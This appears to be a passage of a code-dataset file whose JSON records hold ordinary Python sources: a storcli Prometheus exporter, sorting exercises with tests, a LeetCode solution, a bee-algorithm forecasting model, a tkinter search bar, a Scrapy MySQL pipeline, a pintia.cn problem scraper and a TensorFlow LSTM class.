Errors']),\n 'bbu': int(resp['HwCfg']['BBU'] != 'Absent'),\n 'roc_temp': int(resp['HwCfg'].get('ROC temperature(Degree Celsius)', 0))\n })\n\n for vd in resp['VD LIST']:\n dg, vd_id = map(int, vd['DG/VD'].split('/'))\n dg_vd_map[vd_id] = dg\n self.vds.append({\n 'controller': ctrl_id,\n 'vd': vd_id,\n 'type': vd['TYPE'],\n 'state': vd['State'].lower(),\n 'size': vd['Size']\n })\n\n for pd in resp['PD LIST']:\n enc, slot = map(int, pd['EID:Slt'].split(':'))\n self.pds.append({\n 'controller': ctrl_id,\n 'enclosure': enc,\n 'slot': slot,\n 'vd': dg_vd_map.get(pd['DG']),\n 'state': pd['State'].lower(),\n 'size': pd['Size'],\n })\n\n def _get_json(self):\n if os.path.isfile(self.path) and os.access(self.path, os.X_OK):\n storcli_cmd = [self.path, '/cALL', 'show', 'all', 'J']\n proc = subprocess.Popen(storcli_cmd, shell=False,\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n output_json = proc.communicate()[0]\n else:\n output_json = (\n '{\"Controllers\":[{\"Command Status\": {\"Status\": \"Failure\", '\n '\"Description\": \"No Controller found\"}}]}'\n )\n\n return output_json\n\n\ndef _main():\n c = StorcliCollector('/opt/MegaRAID/storcli/storcli64')\n start_http_server(9424)\n REGISTRY.register(c)\n\n while True:\n time.sleep(1)\n\n\nif __name__ == \"__main__\":\n _main()\n\n","sub_path":"storcli_exporter/exporter.py","file_name":"exporter.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"533144513","text":"import unittest\n\ndef mergesort(arr):\n \"\"\"Sorts list using mergesort algorithm\"\"\"\n if len(arr) <= 1:\n return arr\n\n middle = len(arr) / 2\n\n left = mergesort(arr[:middle])\n right = mergesort(arr[middle:])\n return merge(left, right)\n\n\ndef merge(left, right):\n \"\"\"Merges two lists in a sorted manner\"\"\"\n\n helper = []\n\n while left and right:\n if left[0] <= right[0]:\n helper.append(left.pop(0))\n else:\n helper.append(right.pop(0))\n\n if left:\n helper += left\n else:\n helper += right\n\n return helper\n\n\ndef quicksort(arr):\n if len(arr) <= 1:\n return arr\n else:\n less = []\n equal = []\n greater = []\n\n pivot = arr[len(arr) / 2]\n for x in arr:\n if x < pivot:\n less.append(x)\n elif x == pivot:\n equal.append(x)\n else:\n greater.append(x)\n return quicksort(less) + equal + quicksort(greater)\n\n\ndef anagram_sort(strings):\n \"\"\"Groups anagrams within a list of strings\"\"\"\n\n anagroups = {}\n\n while strings:\n curr = strings.pop()\n anakey= ''.join(sorted(curr))\n if anakey in anagroups.keys():\n anagroups[anakey].append(curr)\n else:\n anagroups[anakey] = [curr]\n \n ret = []\n for key in anagroups:\n ret += anagroups[key]\n\n return ret\n \n\ndef anagrams(a, b):\n \"\"\"Determines if two strings are anagrams\"\"\"\n a = sorted(a)\n b = sorted(b)\n return a == b\n\n\ndef bucket_sort(arr, n):\n \"\"\"Sorts arr using bucket sort.\n \n Args:\n arr (list): to be sorted\n n (int): number of buckets\n \"\"\"\n\n if n > len(arr):\n n = len(arr)\n \n max_val = float(max(arr))\n buckets = [[] for x in range(n)] \n out = []\n\n for i in range(len(arr)):\n buckets[int((arr[i]/max_val)*(n-1))].append(arr[i])\n\n for bucket in buckets:\n out += sorted(bucket)\n\n return out\n\ndef radix_sort(arr):\n \"\"\"Sorts arr using the radix sort algorithm\"\"\"\n\n digit = 1\n reached_max = False\n\n while not reached_max:\n reached_max = True\n buckets = [list() for _ in range(10)]\n\n for num in arr:\n fraction = num / digit\n buckets[fraction % 10].append(num)\n if reached_max and fraction > 0:\n reached_max = False\n \n arr = []\n for bucket in buckets:\n for num in bucket:\n arr.append(num)\n\n digit *= 10\n\n return arr\n\ndef build_order(projects, deps):\n \"\"\"Finds build order based on dependencies\n \n Args:\n projects (list): project ids\n deps (list): tuples where 0th is project and 1th is dependency\n\n Returns:\n list: build order or Error if none\n \"\"\"\n\n dep_dict = {}\n for project in projects:\n dep_dict[project] = []\n for dep in deps:\n dep_dict[dep[0]].append((dep[1]))\n\n build_ord = []\n build_changed = True\n\n while build_changed:\n build_changed = False\n \n for key in dep_dict.keys():\n valid = True\n for dep in dep_dict[key]:\n if dep not in build_ord:\n valid = False\n\n if valid:\n build_ord.append(key)\n build_changed = True\n del dep_dict[key]\n\n if len(build_ord) == len(projects):\n return build_ord\n else:\n raise ValueError('Could not find build order')\n\n\nclass TestSortingQuestions(unittest.TestCase):\n \n def test_mergesort(self):\n self.assertEqual(mergesort([3,4,1,2,5,3]), [1,2,3,3,4,5])\n self.assertEqual(mergesort([1]), [1])\n self.assertEqual(mergesort([1,4,2]), [1,2,4])\n\n def test_quicksort(self):\n self.assertEqual(quicksort([3,4,1,2,5,3]), [1,2,3,3,4,5])\n self.assertEqual(quicksort([1]), [1])\n self.assertEqual(quicksort([1,4,2]), [1,2,4])\n\n def test_bucketsort(self):\n self.assertEqual(bucket_sort([3,4,1,2,5,3], 10), [1,2,3,3,4,5])\n self.assertEqual(bucket_sort([1], 1), [1])\n\n def test_radixsort(self):\n self.assertEqual(radix_sort([3,4,1,2,5,3]), [1,2,3,3,4,5])\n self.assertEqual(radix_sort([1]), [1])\n self.assertEqual(radix_sort([1,4,2]), [1,2,4])\n\n def test_anagrams(self):\n self.assertEqual(anagrams('mary', 'army'), True)\n\n def test_merge(self):\n self.assertEqual(merge([1,2,3], [2,5]), [1,2,2,3,5])\n\n def test_build_order(self):\n self.assertEqual(build_order(['a', 'b', 'c'],[('a', 'b'), ('b', 'c')]), ['c', 'b', 'a'])\n\n\nif __name__ == '__main__':\n unittest.main() \n","sub_path":"practice-questions/sorting.py","file_name":"sorting.py","file_ext":"py","file_size_in_byte":4673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"308935048","text":"# 121. Best Time to Buy and Sell Stock\n# Say you have an array for which the ith element is the \n# price of a given stock on day i.\n# If you were only permitted to complete at most one \n# transaction (ie, buy one and sell one share of the stock), \n# design an algorithm to find the maximum profit.\n# Input: [7, 1, 5, 3, 6, 4]\n# Output: 5\n# max. difference = 6-1 = 5 (not 7-1 = 6, as selling price \n# needs to be larger than buying price)\n\nclass Solution:\n def maxProfit(self, prices):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n if not prices or len(prices)<=1:\n return 0 \n st,bg=prices[0],prices[1]\n profit=max(0,bg-st)\n for i in range(2,len(prices)): \n if bg>st:\n if prices[i]>bg:\n bg=prices[i]\n profit=max(profit,bg-st)\n else:\n if prices[i]>bg:\n st,bg=bg,prices[i]\n profit=max(profit,bg-st)\n else:\n st,bg=bg,prices[i]\n return profit\n\nif __name__ == '__main__':\n prices=[2,1,2,1,0,1,2]\n Solution().maxProfit(prices)","sub_path":"python/Leetcode/dp.py","file_name":"dp.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"196343285","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 28 16:19:55 2018\n\nSo sanh: SoBee thay doi cac tham so\n\n@author: thieunv\n\"\"\"\n\nfrom math import sqrt\nimport numpy as np\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error\nfrom sklearn import preprocessing\nfrom algorithm import Bee1\n\nfrom preprocessing import TimeSeries\nfrom cluster import Clustering\nfrom utils import MathHelper, GraphUtil, IOHelper\n\nclass SOBEE(object):\n def __init__(self, para_data=None, para_net=None, para_bee=None):\n self.dataset_original = para_data[\"dataset\"]\n self.train_idx = para_data[\"list_index\"][0]\n self.test_idx = para_data[\"list_index\"][1]\n if para_data[\"list_index\"][2] == 0:\n self.valid_idx = 0\n else:\n self.valid_idx = int(para_data[\"list_index\"][0] + (para_data[\"list_index\"][1] - para_data[\"list_index\"][0]) / 2)\n self.output_index = para_data[\"output_index\"]\n self.method_statistic = para_data[\"method_statistic\"]\n self.sliding = para_data[\"sliding\"]\n\n self.max_cluster = para_net[\"max_cluster\"]\n self.positive_number = para_net[\"pos_number\"]\n self.stimulation_level = para_net[\"sti_level\"]\n self.distance_level = para_net[\"dist_level\"]\n self.mutation_id = para_net[\"mutation_id\"]\n self.activation_id1 = para_net[\"couple_activation\"][0]\n if para_net[\"couple_activation\"][0] == 0:\n self.activation1 = MathHelper.elu\n elif para_net[\"couple_activation\"][0] == 1:\n self.activation1 = MathHelper.relu\n elif para_net[\"couple_activation\"][0] == 2:\n self.activation1 = MathHelper.tanh\n else:\n self.activation1 = MathHelper.sigmoid\n if para_net[\"couple_activation\"][1] == 0:\n self.activation2 = MathHelper.elu\n elif para_net[\"couple_activation\"][1] == 1:\n self.activation2 = MathHelper.relu\n elif para_net[\"couple_activation\"][1] == 2:\n self.activation2 = MathHelper.tanh\n else:\n self.activation2 = MathHelper.sigmoid\n self.pathsave = para_net[\"path_save\"]\n self.fig_id = para_net[\"fig_id\"]\n\n self.max_gens = para_bee[\"max_gens\"]\n self.num_bees = para_bee[\"num_bees\"]\n self.num_sites = para_bee[\"num_sites\"]\n self.elite_sites = para_bee[\"elite_sites\"]\n self.patch_size = para_bee[\"patch_size\"]\n self.patch_factor = para_bee[\"patch_factor\"]\n self.e_bees = para_bee[\"couple_bees\"][0]\n self.o_bees = para_bee[\"couple_bees\"][1]\n self.low_up_w = para_bee[\"lowup_w\"]\n self.low_up_b = para_bee[\"lowup_b\"]\n\n self.min_max_scaler = preprocessing.MinMaxScaler()\n self.standard_scaler = preprocessing.StandardScaler()\n\n self.filename = 'Slid=' + str(self.sliding) + '_PN=' + str(self.positive_number) + '_SL=' + str(self.stimulation_level) + '_DL=' + str(\n self.distance_level) + '_MG=' + str(self.max_gens) + '_NB=' + str(self.num_bees) + '_ebees=' + str(self.e_bees) + '_obees=' + str(self.o_bees)\n\n def preprocessing_data(self):\n timeseries = TimeSeries(self.train_idx, self.valid_idx, self.test_idx, self.sliding, self.method_statistic, self.dataset_original, self.min_max_scaler)\n if self.valid_idx == 0:\n self.X_train, self.y_train, self.X_test, self.y_test, self.min_max_scaler = timeseries.net_single_output(self.output_index)\n else:\n self.X_train, self.y_train, self.X_valid, self.y_valid, self.X_test, self.y_test, self.min_max_scaler = timeseries.net_single_output(self.output_index)\n # print(\"Processing data done!!!\")\n\n\n def clustering_data(self):\n self.clustering = Clustering(stimulation_level=self.stimulation_level, positive_number=self.positive_number, max_cluster=self.max_cluster,\n distance_level=self.distance_level, mutation_id=self.mutation_id, activation_id=self.activation_id1, dataset=self.X_train)\n self.centers, self.list_clusters, self.count_centers, self.y = self.clustering.sobee_new_with_mutation()\n # print(\"Encoder features done!!!\")\n\n def transform_data(self):\n self.S_train = self.clustering.transform_features(self.X_train)\n self.S_test = self.clustering.transform_features(self.X_test)\n if self.valid_idx != 0:\n self.S_valid = self.clustering.transform_features(self.X_valid)\n # print(\"Transform features done!!!\")\n\n def train_bee(self):\n self.number_node_input = len(self.list_clusters)\n self.number_node_output = self.y_train.shape[1]\n self.size_w2 = self.number_node_input * self.number_node_output\n\n bee_para = {\n \"max_gens\": self.max_gens, \"num_bees\": self.num_bees, \"num_sites\": self.num_sites,\n \"elite_sites\": self.elite_sites, \"patch_size\": self.patch_size, \"patch_factor\": self.patch_factor,\n \"e_bees\": self.e_bees, \"o_bees\": self.o_bees, \"lowup_w\": self.low_up_w, \"lowup_b\": self.low_up_b\n }\n other_para = {\n \"number_node_input\": self.number_node_input, \"number_node_output\": self.number_node_output,\n \"X_data\": self.S_train, \"y_data\": self.y_train, \"activation\": self.activation2\n }\n bee = Bee1(other_para, bee_para)\n self.bee, self.loss_train = bee.build_and_train()\n\n def predict(self):\n w2 = np.reshape(self.bee[:self.size_w2], (self.number_node_input, -1))\n b2 = np.reshape(self.bee[self.size_w2:], (-1, self.number_node_output))\n y_pred = []\n for i in range(0, len(self.S_test)):\n output = np.add(np.matmul(self.S_test[i], w2), b2)\n out = np.apply_along_axis(self.activation2, 1, output)\n y_pred.append(self.activation2(out.flatten()))\n\n # Evaluate models on the test set\n y_test_inverse = self.min_max_scaler.inverse_transform(self.y_test)\n y_pred_inverse = self.min_max_scaler.inverse_transform(np.array(y_pred).reshape(-1, self.y_test.shape[1]))\n\n testScoreRMSE = sqrt(mean_squared_error(y_test_inverse, y_pred_inverse))\n testScoreMAE = mean_absolute_error(y_test_inverse, y_pred_inverse)\n\n self.y_predict, self.score_test_RMSE, self.score_test_MAE = y_pred, testScoreRMSE, testScoreMAE\n self.y_test_inverse, self.y_pred_inverse = y_test_inverse, y_pred_inverse\n\n # print('DONE - RMSE: %.5f, MAE: %.5f' % (testScoreRMSE, testScoreMAE))\n # print(\"Predict done!!!\")\n\n\n def draw_result(self):\n GraphUtil.draw_loss(self.fig_id, self.max_gens, self.loss_train, \"Loss on training per epoch\")\n GraphUtil.draw_predict_with_mae(self.fig_id+1, self.y_test_inverse, self.y_pred_inverse, self.score_test_RMSE,\n self.score_test_MAE, \"Model predict\", self.filename, self.pathsave)\n\n def save_result(self):\n IOHelper.save_result_to_csv(self.y_test_inverse, self.y_pred_inverse, self.filename, self.pathsave)\n IOHelper.save_loss_to_csv(self.loss_train, self.filename, self.pathsave)\n\n def fit(self):\n self.preprocessing_data()\n self.clustering_data()\n if self.count_centers <= self.max_cluster:\n self.transform_data()\n self.train_bee()\n self.predict()\n self.draw_result()\n self.save_result()\n\n\n\n\n\n\n","sub_path":"6_google_trace/SVNCKH/model/script3.py","file_name":"script3.py","file_ext":"py","file_size_in_byte":7388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"57294671","text":"from tkinter import *\r\nfrom tkinter import ttk, messagebox\r\nimport webbrowser\r\n\r\n\r\nclass Universal_search:\r\n def __init__(self, master):\r\n self.master = master\r\n\r\n master.resizable(0, 0)\r\n\r\n # ------------------------------------------------------------------------------------------------\r\n # TODO: FUNCTIONS\r\n # we will create only one variable and share it between buttons because we do not 2 button to be selected at once.\r\n # we on want only one button to be selected\r\n self.var = StringVar()\r\n\r\n def Clear():\r\n self.entry1.delete(0, END)\r\n self.entry1.focus()\r\n\r\n def Callback():\r\n if self.var.get() == '':\r\n messagebox.showwarning('Universal search', 'Please select\\nThe search engine')\r\n if self.var.get() == 'google':\r\n webbrowser.open('http://google.com/search?q=' + self.entry1.get())\r\n elif self.var.get() == 'youtube':\r\n webbrowser.open('https://www.youtube.com/search?q=' + self.entry1.get())\r\n elif self.var.get() == 'map':\r\n webbrowser.open('https://www.google.com/maps/@29.6895871,-95.5669888,15z/search?q=' + self.entry1.get())\r\n\r\n def get(event):\r\n if self.var.get() == '':\r\n messagebox.showwarning('Universal search', 'Please select\\nThe search engine')\r\n elif self.var.get() == 'google':\r\n webbrowser.open('http://google.com/search?q=' + self.entry1.get())\r\n elif self.var.get() == 'youtube':\r\n webbrowser.open('https://www.youtube.com/search?q=' + self.entry1.get())\r\n elif self.var.get() == 'map':\r\n webbrowser.open('https://www.google.com/maps/@29.6895871,-95.5669888,15z/search?q=' + self.entry1.get())\r\n\r\n # ------------------------------------------------------------------------------------------------\r\n # TODO: FUNCTIONS\r\n width_of_window = 525\r\n height_of_window = 75\r\n\r\n width_value = master.winfo_screenwidth()\r\n height_value = master.winfo_screenheight()\r\n\r\n X_coordinate = (width_value / 2) - (width_of_window / 2)\r\n Y_coordinate = (height_value / 2) - (height_of_window / 2)\r\n\r\n master.geometry(\"%dx%d+%d+%d\" % (width_of_window, height_of_window,\r\n X_coordinate, Y_coordinate))\r\n\r\n # ------------------------------------------------------------------------------------------------\r\n # TODO: APP\r\n master.title('Universal Search Bar')\r\n # master.iconbitmap('globe.png')\r\n\r\n # ------------------------------------------------------------------------------------------------\r\n # TODO: APP\r\n\r\n # self.logo = PhotoImage(file='search.png').subsample(20, 20)\r\n # self.label_image = Label(master, image=self.logo, text='TIA')\r\n # self.label_image.grid(row=0, column=0, pady=5)\r\n\r\n self.label1 = ttk.Label(master,\r\n text='Search\\nEngine',\r\n foreground='blue',\r\n font=('Tme', 14, 'bold'))\r\n self.label1.grid(row=0, column=1, padx=2)\r\n\r\n self.entry1 = ttk.Entry(master, width=40, font=('Time', 12))\r\n self.entry1.grid(row=0, column=2)\r\n self.entry1.bind('', get)\r\n self.entry1.focus()\r\n\r\n self.my_button_button = ttk.Button(master, text='Search', width=10, command=Callback)\r\n # master.bind('', get)\r\n self.my_button_button.grid(row=0, column=3, padx=5, sticky=W + E)\r\n\r\n self.map_button = ttk.Radiobutton(self.master,\r\n value='map',\r\n variable=self.var,\r\n text='Map')\r\n self.map_button.grid(row=2, column=2, sticky=W)\r\n\r\n self.google_button = ttk.Radiobutton(self.master,\r\n value='google',\r\n variable=self.var,\r\n text='Google')\r\n self.google_button.grid(row=2, column=2)\r\n\r\n self.youtube_button = ttk.Radiobutton(self.master,\r\n value='youtube',\r\n variable=self.var,\r\n text='YouTube')\r\n self.youtube_button.grid(row=2, column=2, sticky=E)\r\n\r\n self.L1 = Label(self.master, text='>>>>>>>', foreground='red')\r\n self.L1.grid(row=2, column=0, columnspan=2, sticky=W)\r\n\r\n self.L1 = ttk.Button(self.master, text='Clear', command=Clear)\r\n self.L1.grid(row=2, column=3, sticky=E, padx=5)\r\n\r\n master.wm_attributes('-topmost', 1) # it is to put this windows on top off all open applications.\r\n\r\n\r\nroot = Tk()\r\napp = Universal_search(root)\r\nroot.mainloop()\r\n","sub_path":"Search bar/Exe file/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":4980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"609713867","text":"#写入数据库\nclass MysqlPipeline(object):\n\n def __init__(self,dbpool):\n self.dbpool = dbpool\n\n @classmethod #重写类方法\n def from_settings(cls,settings):\n\n adbparams = dict(\n host = settings['MYSQL_HOST'],\n port = settings['MYSQL_PORT'],\n user = settings['MYSQL_USER'],\n password = settings['MYSQL_PASSWD'],\n db = settings['MYSQL_DBNAME'],\n charset='utf8',\n use_unicode=True,\n cursorclass = pymysql.cursors.DictCursor, #指定cursor类型\n\n )\n\n dbpool = adbapi.ConnectionPool(\"pymysql\",**adbparams)\n\n return cls(dbpool) # 相当于dbpool付给了这个类,self可以调用\n\n\n def process_item(self,item,spider):\n query = self.dbpool.runInteraction(self.sql_insert,item)# 调用插入的方法\n\n query.addErrback(self.handle_error)# 调用异常处理方法\n\n return item\n\n #写入数据库语句\n def sql_insert(self,cursor,item):\n insert_sql = '''\n insert into test01 VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,\\\n %s,%s,%s,%s,%s,%s,%s,%s,%s,%s,\\\n %s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\n '''\n\n item_values = (\n item['houselink'],item['houseID'],item['housename'],item['time_build'],item['totalprice'],item['unitprice'],item['community'], \\\n item['district'],item['block'],item['road'],item['supplement'], \\\n item['type_house'],item['area_gross'],item['area_real'],item['orientation'],item['decoration'],item['own_time'],item['floor'], \\\n item['layout'],item['type_building'],item['material'],item['elevator_num'], \\\n item['time_listing'],item['time_deal'],item['time_limit'],item['property'],item['usage_yt'], \\\n item['own'],item['pledge'],item['upload']\n )\n\n cursor.execute(insert_sql,item_values)\n\n #错误处理\n def handle_error(self,failure):\n if failure:\n print(failure)","sub_path":"pymysql002.py","file_name":"pymysql002.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"207351897","text":"import requests\nimport json\nfrom urllib.parse import urlencode\nimport pymysql\nfrom db import MyDB\nbase_url = 'https://pintia.cn/api/problem-sets/14/'\nid_list = []\n\nheaders = {\n 'Host': 'pintia.cn',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36',\n 'Accept': 'application/json;charset=UTF-8',\n 'apiVersion': '2.0',\n 'X-Requested-With': 'XMLHttpRequest',\n}\n\nparam1 = {\n 'problem_type': 'CODE_COMPLETION',\n 'page': 0,\n 'limit': 100,\n }\n\nparam2 = {\n 'problem_type': 'PROGRAMMING',\n 'page': 0,\n 'limit': 100,\n }\n\n\ndef get_id_list():\n url1 = base_url + 'problem-list?' + urlencode(param1)\n print(url1)\n url2 = base_url + 'problem-list?' + urlencode(param2)\n try:\n response1 = requests.get(url1, headers=headers)\n if response1.status_code == 200:\n problem_set_list1 = response1.json()['problemSetProblems']\n for problem_str in problem_set_list1:\n id_list.append(problem_str['id'])\n except requests.ConnectionError as e:\n print('Error', e.args)\n try:\n response2 = requests.get(url2, headers=headers)\n if response2.status_code == 200:\n problem_set_list1 = response2.json()['problemSetProblems']\n for problem_str in problem_set_list1:\n id_list.append(problem_str['id'])\n except requests.ConnectionError as e:\n print('Error', e.args)\n\n\ndef get_page(id):\n url = base_url + 'problems/' + id\n try:\n response = requests.get(url, headers=headers)\n if response.status_code == 200:\n return response.json()\n except requests.ConnectionError as e:\n print('Error', e.args)\n\n\ndef parse_page(json):\n if json:\n items = json.get('problemSetProblem')\n # print(items)\n problem_info = {\n 'problemId': items['id'],\n 'title': items['title'],\n 'type': items['type'],\n 'content': items['content'],\n 'points': items['score']\n }\n yield problem_info\n\n\nif __name__ == '__main__':\n db = MyDB()\n table = 'problems'\n sql = \"\"\"CREATE TABLE IF NOT EXISTS problems (\n problemId VARCHAR(255) NOT NULL,\n title VARCHAR(255) NOT NULL,\n type VARCHAR(64) NOT NULL,\n content TEXT,\n points INT NOT NULL,\n score INT,\n PRIMARY KEY (problemId))ENGINE=InnoDB DEFAULT CHARSET=utf8'\n \"\"\"\n db.create_table(sql)\n get_id_list()\n for id in id_list:\n json = get_page(id)\n problem_info_list = parse_page(json)\n for problem_data in problem_info_list:\n db.savedata(problem_data, table)\n db.close()\n\n\n\n\n\n\n\n\n","sub_path":"spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":2736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"10409461","text":"import tensorflow as tf \nimport numpy as np \nimport matplotlib.pyplot as plt\n\nBATCH_START = 0\nSLIP_TIMES = 20\nBATCH_SIZE = 50\nINPUT_SIZE = 1\nOUTPUT_SIZE = 1\nCELL_SIZE = 10\nLR = 0.006\n\ndef get_batch():\n\tglobal BATCH_START, BATCH_SIZE, SLIP_TIMES, INPUT_SIZE\n\tx_axis = np.arange(BATCH_START, BATCH_START + BATCH_SIZE * SLIP_TIMES * INPUT_SIZE).reshape([BATCH_SIZE, SLIP_TIMES]) / (10 * np.pi)\n\tx_data = np.sin(x_axis).reshape([BATCH_SIZE, SLIP_TIMES, INPUT_SIZE])\n\ty_data = np.cos(x_axis).reshape([BATCH_SIZE, SLIP_TIMES, INPUT_SIZE])\n\tBATCH_START += SLIP_TIMES * INPUT_SIZE\n\treturn x_data, y_data ,x_axis\n'''\n\t\t\t\t\t\t\t\t|-----|\n\t\t\t\t\t\t\t\t|-----|\n|-----|-----|-----|-----|\t==>\t|-----|\n\t\t\t\t\t\t\t\t|-----|\n\n'''\n\n\n\nclass LSTMRNN(object):\n\tdef __init__(self, n_steps, input_size, output_size, cell_size, batch_size):\n\t\tself.n_steps = n_steps\n\t\tself.input_size = input_size\n\t\tself.output_size = output_size\n\t\tself.cell_size = cell_size\n\t\tself.batch_size = batch_size\n\n\t\twith tf.name_scope('inputs'): # for namespace,useless actually\n\t\t\tself.x_data = tf.placeholder(tf.float32, [None, n_steps, input_size], name = 'x_data')\n\t\t\tself.y_data = tf.placeholder(tf.float32, [None, n_steps, output_size], name = 'y_data')\n\t\twith tf.variable_scope('in_hidden'):\n\t\t\tself.add_input_layer()\n\t\twith tf.variable_scope('LSTM_cell'):\n\t\t\tself.add_cell()\n\t\twith tf.variable_scope('out_hidden'):\n\t\t\tself.add_output_layer()\n\t\twith tf.name_scope('cost'):\n\t\t\tself.compute_cost()\n\t\twith tf.name_scope('train'):\n\t\t\tself.train_op = tf.train.AdamOptimizer(LR).minimize(self.cost)\n\n\tdef add_input_layer(self):\n\t\tcollapsed_x = tf.reshape(self.x_data, [-1, self.input_size], name = \"collapse_to_2D\") # (BATCH, SLIP_TIMES, INPUT_SIZE) -> (BATCH * SLIP_TIMES, INPUT_SIZE) See PIC 1\n\t\tweights = self._weight_variable([self.input_size, self.cell_size])\n\t\tbiases = self._bias_variable([self.cell_size])\n\t\twith tf.name_scope('hidden_result'):\n\t\t\thidden_result = tf.matmul(collapsed_x, weights) + biases\n\t\tself.hidden_result = tf.reshape(hidden_result, [-1, self.n_steps, self.cell_size], name = \"transform_to_3D\") # (BATCH * SLIP_TIMES, OUTPUT_SIZE) -> (-1, SLIP_TIMES, OUTPUT_SIZE)\n\n\tdef add_cell(self):\n\t\tlstm_cell = tf.contrib.rnn.BasicLSTMCell(self.cell_size, forget_bias = 1.0, state_is_tuple = True)\t\n\t\twith tf.name_scope('initial_state'):\n\t\t\tself.cell_init_state = lstm_cell.zero_state(self.batch_size, dtype = tf.float32) # (c_state, h_state)\n\t\tself.cell_outputs, self.cell_final_state = tf.nn.dynamic_rnn(lstm_cell, self.hidden_result, initial_state = self.cell_init_state, time_major = False)\n\n\tdef add_output_layer(self):\n\t\tcollapsed_cell_outputs = tf.reshape(self.cell_outputs, [-1, self.cell_size], name = \"collapse_to_2D\") # (BATCH * SLIP_TIMES, CELL_SIZE) -> (BATCH * SLIP_TIMES, CELL_SIZE)\n\t\tweights = self._weight_variable([self.cell_size, self.output_size])\n\t\tbiases = self._bias_variable([self.output_size])\n\t\twith tf.name_scope('prediction'):\n\t\t\tself.prediction = tf.matmul(collapsed_cell_outputs, weights) + biases\n\n\tdef compute_cost(self):\n\t\t# https://stackoverflow.com/questions/41134593/understanding-tensorflow-sequence-loss-parameters \n\t\t'''\n\t\t\tThink of the weights as a mask applied to the input tensor. In some NLP applications, we often have different sentence length for each sentence. \n\t\t\tIn order to parallel/batch multiple instance sentences into a minibatch to feed into a neural net,\n\t\t\tpeople use a mask matrix to denotes which element in the the input tensor is actually a valid input.\n\t\t\t For instance, the weight can be a np.ones([batch, max_length]) that means all of the input elements are legit.\n\n\t\t\tWe can also use a matrix of the same shape as the labels such as np.asarray([[1,1,1,0],[1,1,0,0],[1,1,1,1]]) (we assume the labels shape is 3x4),\n\t\t\tthen the crossEntropy of the first row last column will be masked out as 0.\n\n\t\t\tYou can also use weight to calculate weighted accumulation of cross entropy.\n\t\t'''\n\t\t# prediction.shape = (BATCH * SLIP_TIMES, OUTPUT_SIZE)\n\t\t# -> (1, BATCH * SLIP_TIMES * OUTPUT_SIZE) then make a same shape mask matrix as tf.ones([self.batch_size * self.n_steps * self.output_size])\n\n\t\t# logits(softmax(prediction - y_data)) * weights / len(active value in weights) if average_across_timesteps = True else 1\n\t\t# losses = tf.contrib.legacy_seq2seq.sequence_loss_example(logits = tf.reshape(self.prediction, [-1]), targets = tf.reshape(self.y_data, [-1]), weights = tf.ones([self.batch_size * self.n_steps * self.output_size], dtype = float32), average_across_timesteps = True, softmax_loss_function = self.msr_error, name = 'losses')\n\t\twith tf.name_scope('average_cost'):\n\t\t\tself.cost = tf.reduce_mean(tf.losses.mean_squared_error(labels = tf.reshape(self.y_data, [-1]), predictions = tf.reshape(self.prediction, [-1])))\n\t\t\ttf.summary.scalar('cost', self.cost)\n\n\tdef _weight_variable(self, shape, name = 'weights'):\n\t\tinitializer = tf.random_normal_initializer(mean= 0, stddev = 1)\n\t\treturn tf.get_variable(shape = shape, initializer = initializer, name = name)\n\n\tdef _bias_variable(self, shape, name = 'biases'):\n\t\tinitializer = tf.constant_initializer(0.1)\n\t\treturn tf.get_variable(name = name, shape = shape, initializer = initializer)\n\n'''\nPIC 1 \n @@@@@@@@@@@@@@@^ =@@@@@@@@@@@@@@@ =@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@^ \n ,]]@@]]]]]]]]]]] @^ =@ =@ \t\t\t\t\t =@ =@ ,]]@@]]]]]]]]]]]]]] @^ \n =@ @^ =@ @^ =@ =@ \t\t\t\t\t =@ =@ =@ @^ =@ @^ \n =@@@[@/[[[[[[[@@=@ @^ =@ =@ \t\t\t\t\t\t =@ =@ =@@@[@/[[[[[[[[[[@@=@ @^ \n =@=@ @^ =@=@ @^ =@ =@ \t\t\t\t\t\t =@ =@ =@=@ @^ =@=@ @^ \n =@=@ @^ =@=@ @^ =@ =@ \t\t\t\t\t\t =@ =@ =@=@ @^ =@=@ @^ \n =@=@ @^ =@=@ @^ =@ =@ \t\t\t\t\t\t =@ =@ =@=@ @^ =@=@ @^ \n =@=@ @@]]]]]]]/@/@]@^ =@@@@@@@@@@@@@@@ \t\t\t\t\t\t =@@@@@@@@@@@@@@@@@@ =@=@ @^ =@=@ @^ \n =@=@ =@=@ =@ =@ \t\t\t\t\t =@ =@ =@=@ @@]]]]]]]]]]/@/@]@^ \n =@,[[[[[[[[[[[[@[[ =@ =@ =@ =@ =@=@ =@=@ \n =@@@@@@@@@@@@@@@ =@ =@ =@ =@ =@,[[[[[[[[[[[[@[[[[[ \n =@ =@ =@ =@ =@@@@@@@@@@@@@@@@@@ \n =@ =@ =@ =@ \n =@ =@ =@ =@ \n `. =@]]]]]]]]]]]]/@ `. =@]]]]]]]]]]]]]]/@@ `. \n =@@@@@@@@^,@@@] =@ =@ =@@@@@@@@^,@@@] =@ =@ =@@@@@@@@^,@@@] \n =@ ]@@^ =@ =@ =@ ]@@^ =@ =@ =@ ]@@^ \n ,@@@@@@@@./@@[ =@ =@ 